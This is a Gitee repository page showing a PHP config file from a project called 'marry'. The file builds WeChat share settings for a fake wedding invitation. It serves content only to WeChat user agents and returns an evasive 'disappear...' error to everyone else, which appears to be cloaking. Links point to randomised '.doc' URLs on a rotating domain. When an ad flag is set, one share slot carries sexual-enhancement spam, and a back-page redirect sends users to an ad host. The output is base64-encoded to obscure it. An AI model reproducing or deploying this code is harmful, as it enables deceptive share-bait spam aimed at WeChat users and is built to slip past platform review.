1 Star 2 Fork 1

zoeyfRzr/marry

加入 Gitee
与超过 1200万 开发者一起发现、参与优秀开源项目,私有仓库也完全免费 :)
免费加入
该仓库未声明开源许可证文件(LICENSE),使用请关注具体项目描述及其代码上游依赖。
克隆/下载
config.php 3.26 KB
一键复制 编辑 原始数据 按行查看 历史
zoeyfRzr 提交于 2019-05-27 15:34 . fixxing..
<?php
$user_agent = $_SERVER['HTTP_USER_AGENT'];
if (strpos($user_agent, 'MicroMessenger') === false) {
exit(json_encode(array('code'=>-10001,'msg'=>'disappear...')));
}
$u = isset($_REQUEST['u'])?trim($_REQUEST['u']):'';
if(!$u){
exit(json_encode(array('code'=>-10002,'msg'=>'disappear...')));
}
require_once __DIR__ . "/wechat/jssdk.php";
@$jssdk = new JSSDK($data['app_id'], $data['app_secret']);
@$signPackage = $jssdk->GetSignPackage($u);
$domain = $data['d4'];
$time = strtotime(date('Y-m-d H:0:0'));
$rand = str_rand2(28);
@$port = "http://{$domain}/{$rand}.doc&_t={$time}&xxid=" . intval($data['desc']);
$ad = $data['back_url'] ? "http://{$domain}/{$rand}.doc&_t={$time}&xxid=" . intval($data['desc']). "&path=http://www.sina.com.cn" : $port;
if ($data['back_url']) { //有广告
$array = array (
'friend' =>
array (
'title' => '我的婚礼邀请函',
'desc' => '谨订于{date}敬备喜酌',
'imgUrl' => 'http://zoeyjhqj.oss-cn-beijing.aliyuncs.com/mry/images/9016cceddaf70c6d142047853e3d1fa4.jpg',
'link' => $port,
),
'timeline' =>
array (
'title' => '我的婚礼邀请函',
'desc' => '谨订于{date}敬备喜酌',
'imgUrl' => 'http://zoeyjhqj.oss-cn-beijing.aliyuncs.com/mry/images/9016cceddaf70c6d142047853e3d1fa4.jpg',
'link' => $port,
),
'timeline2' =>
array (
'title' => NULL,
'desc' => '.满足.不了女-人?用这个方法,每次坚-挺40分钟!!',
'imgUrl' => 'http://wx2.sinaimg.cn/mw690/0060lm7Tly1fu3p28o39mj305405g746.jpg',
'link' => $ad,
),
'back_page' => 'http://a.k8316.cn/advert999/adjhqgz2.svg?key={rand}',
'back_type' => 'link',
'config' =>
array (
'debug' => false,
'appId' => $signPackage['appId'],
'signature' => $signPackage['signature'],
'timestamp' => $signPackage['timestamp'],
'nonceStr' => $signPackage['nonceStr'],
),
);
}else{ //无广告
$array = array (
'friend' =>
array (
'title' => '我的婚礼邀请函',
'desc' => '谨订于{date}敬备喜酌',
'imgUrl' => 'http://zoeyjhqj.oss-cn-beijing.aliyuncs.com/mry/images/9016cceddaf70c6d142047853e3d1fa4.jpg',
'link' => $port,
),
'timeline' =>
array (
'title' => '我的婚礼邀请函',
'desc' => '谨订于{date}敬备喜酌',
'imgUrl' => 'http://zoeyjhqj.oss-cn-beijing.aliyuncs.com/mry/images/9016cceddaf70c6d142047853e3d1fa4.jpg',
'link' => $port,
),
'timeline2' =>
array (
'title' => '我的婚礼邀请函',
'desc' => '谨订于{date}敬备喜酌',
'imgUrl' => 'http://zoeyjhqj.oss-cn-beijing.aliyuncs.com/mry/images/9016cceddaf70c6d142047853e3d1fa4.jpg',
'link' => $port,
),
'back_page' => 'http://a.k8316.cn/advert999/adjhqgz2.svg?key={rand}',
'back_type' => 'link',
'config' =>
array (
'debug' => false,
'appId' => $signPackage['appId'],
'signature' => $signPackage['signature'],
'timestamp' => $signPackage['timestamp'],
'nonceStr' => $signPackage['nonceStr'],
),
);
}
$json = json_encode($array,true);
$urlencode = urlencode($json);
$base64encode = base64_encode($urlencode);
echo $base64encode;
?>
马建仓 AI 助手
尝试更多
代码解读
代码找茬
代码优化
PHP
1
https://gitee.com/zoeyln123/marry.git
git@gitee.com:zoeyln123/marry.git
zoeyln123
marry
marry
master

搜索帮助